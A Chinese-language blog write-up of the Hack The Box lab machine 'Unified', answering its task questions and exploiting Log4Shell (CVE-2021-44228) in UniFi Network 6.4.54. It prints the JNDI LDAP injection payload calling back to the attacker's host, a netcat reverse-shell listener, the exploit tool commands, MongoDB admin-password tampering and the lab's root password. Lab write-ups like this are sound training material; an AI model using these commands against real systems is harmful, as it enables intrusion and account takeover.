Hackthebox 靶机Unified详细攻略

目标:Unified

作者使用Kali Linux作为渗透测试平台,在Kali Linux上首先通过openvpn建立与Hackthebox网站的VPN连接,得到目标Unified实例的IP地址:

# openvpn starting_point_jasonhuawen.ovpn

 

Task 1

What ports are open?

思路:此题再简单不过了,直接用扫描神器对目标进行扫描,即可得到开放的端口列表。

 

# nmap -sS 10.129.232.197

 
 

答案:22,6789,8080,8443

 

Task 2

Name of the software that is running on the highest port?

思路:从前面的扫描结果知道,该目标运行有web应用而且是https的,端口为8443,自然而然,通过浏览器访问https:// 10.129.232.197,似乎是一个网络设备的管理页面,根据提示,页面的title即为答案。

答案:UniFi Network

 

Task 3

What is the version of the software that is running?

思路:页面里就有此题的答案。

答案:6.4.54

 

Task 4

What is the CVE for the identified vulnerability?

思路:根据UniFi Network以及其版本的信息在google查找相应的CVE漏洞即可得到本题的答案。

答案:CVE-2021-44228

 

Task 5

What is the version of Maven that we installed?

思路:

在kali linux上安装maven

#apt-get install maven $ git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package  

安装完成以后 用mvn -v即可得到版本信息, “Apache Maven 3.6.3”

答案:3.6.3

 

Task 6

What protocol does JDNI leverage in the injection?             

答案:LDAP

 

Task 7

What tool do we use to intercept the traffic, indicating the attack was successful?      

答案:tcpdump

 

Task 8

What port do we need to inspect intercepted traffic for?

答案:389

 

Task 9

What port is the MongoDB service running on?

思路:

此后所有的题目都是基于需要拿到目标的shell,而拿到shell的方法是利用CVE漏洞CVE-2021-44228,拿到shell以后,以下为拿到shell的过程:

第一步:根据下述步骤在Kali Linux安装docker

#apt update
#curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add –
#echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' |
#sudo tee /etc/apt/sources.list.d/docker.list
#apt update
#apt remove docker docker-engine docker.io
#apt install docker-ce -y
#systemctl start docker
#systemctl enable docker

 

第二步:CVE-2021-44228漏洞利用

执行下述命令在kali Linux安装JDK以及maven.

#apt update && apt install openjdk-11-jre maven

#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt

#mvn package -f utils/rogue-jndi/

 

下载并制作Docker Log4jUnifi镜像:


#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .

 

此时在Kali Linux 上用openVPN连接上Hackthebox,启动Unified实例,然后在kali Linux用nc启动监听:

# nc -nlvp 1234 -s 10.10.14.165


#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.254.73:8443 -i 10.10.14.165 -p 1234

 

输出:

{"username": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "strict":true}

此时表明已经成功拿到目标的shell,在目标各个目录搜寻,查找与数据库服务相关的配置文件,在文件中/usr/lib/unifi/data/system.properties找到mongodb的端口unifi.db.port=27117

答案:27117

 

Task 10

What is the default database name for UniFi applications?

思路:

从Task 9已经知道数据库服务的端口,因此在目标本地连接mongodb数据库:

#mongodb --port 27117

#show dbs

ace       0.002GB

ace_stat  0.000GB

admin     0.000GB

config    0.000GB

local     0.000GB

 

答案:ace

 

Task 11

What is the function we use to enumerate users within the database in MongoDB?

答案:db.admin.find()

 

Task 12

What is the function to add data to the database in MongoDB?

答案:db.admin.insert()

 

Task 13

What is the function we use to update users within the database in MongoDB?

答案:db.admin.update()

 

Task 14

What is the password for the root user?

思路:

通过在数据库用db.admin.update()方法更改administrator的密码为我们自己设置的密码,但是实话实说我用mkpasswd创建的hash值,发现登陆有问题,即使指定salt值,虽然产生固定的hash值,但是与目标的hash值仍不明白(百思不得其解)。

通过修改administrator以及我们自己设置的密码成功登陆目标的web管理界面后,找到一些信息,包括用于ssh远程访问的用户名(root)以及密码。

 

 

答案:NotACrackablePassword4U2022

然后用该密码SSH登陆目标,即可得到root的Flag。

posted @ 2022-03-29 20:27  Jason_huawen  阅读(1115)  评论(0编辑  收藏  举报